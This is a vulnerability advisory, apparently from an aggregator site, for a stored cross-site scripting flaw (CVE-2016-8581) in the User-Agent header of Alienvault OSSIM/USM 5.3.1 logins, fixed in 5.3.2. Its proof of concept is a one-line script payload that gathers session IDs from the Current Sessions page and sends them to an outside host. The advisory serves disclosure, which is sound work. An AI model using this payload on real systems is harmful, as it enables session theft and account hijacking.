Alienvault OSSIM/USM 5.3.1 - Persistent Cross-Site Scripting

🗓️ 02 Nov 2016 00:00:00Reported by Peter LappType

Alienvault OSSIM/USM 5.3.1 - Stored Cross-Site Scripting vulnerability in User-Agent heade

Reporter	Title	Published	Views	Family All 10
0day.today	Alienvault OSSIM/USM 5.3.1 - Persistent Cross-Site Scripting Vulnerability	2 Nov 201600:00	–	zdt
Circl	CVE-2016-8581	2 Nov 201600:00	–	circl
CNVD	Alienvault OSSIM and USM Cross-Site Scripting Vulnerabilities	27 Oct 201600:00	–	cnvd
CVE	CVE-2016-8581	28 Oct 201615:00	–	cve
Cvelist	CVE-2016-8581	28 Oct 201615:00	–	cvelist
exploitpack	Alienvault OSSIMUSM 5.3.1 - Persistent Cross-Site Scripting	2 Nov 201600:00	–	exploitpack
Metasploit	AlienVault OSSIM SQL Injection and Remote Code Execution	28 Apr 201416:55	–	metasploit
NVD	CVE-2016-8581	28 Oct 201615:59	–	nvd
Packet Storm	Alienvault OSSIM/USM 5.3.1 Persistent Cross Site Scripting	2 Nov 201600:00	–	packetstorm
Prion	Cross site scripting	28 Oct 201615:59	–	prion

Details
=======

Product: Alienvault OSSIM/USM
Vulnerability: Stored XSS
Author: Peter Lapp, lappsec () gmail com
CVE: CVE-2016-8581
CVSS: 3.5
Vulnerable Versions: <=5.3.1
Fixed Version: 5.3.2



Vulnerability Details
=====================

A stored XSS vulnerability exists in the User-Agent header of the
login process. It's possible to inject a script into that header that
then gets executed when mousing over the User-Agent field in Settings
-> Current Sessions.



POC
===

The POC uses jQuery to send all session IDs on the "Current Sessions"
page to an arbitrary site (Google, in this case)

<script>$('#ops_table
.ops_id').each(function(){$.get("https://www.google.com/",{session:($(this).html())});});</script>



Timeline
========

08/03/16 - Reported to Vendor
10/03/16 - Fixed in version 5.3.2



References
==========

https://www.alienvault.com/forums/discussion/7766/security-advisory-alienvault-5-3-2-address-70-vulnerabilities

02 Nov 2016 00:00Current

6.5Medium risk

Vulners AI Score6.5

CVSS 24.3

CVSS 36.1

EPSS0.68151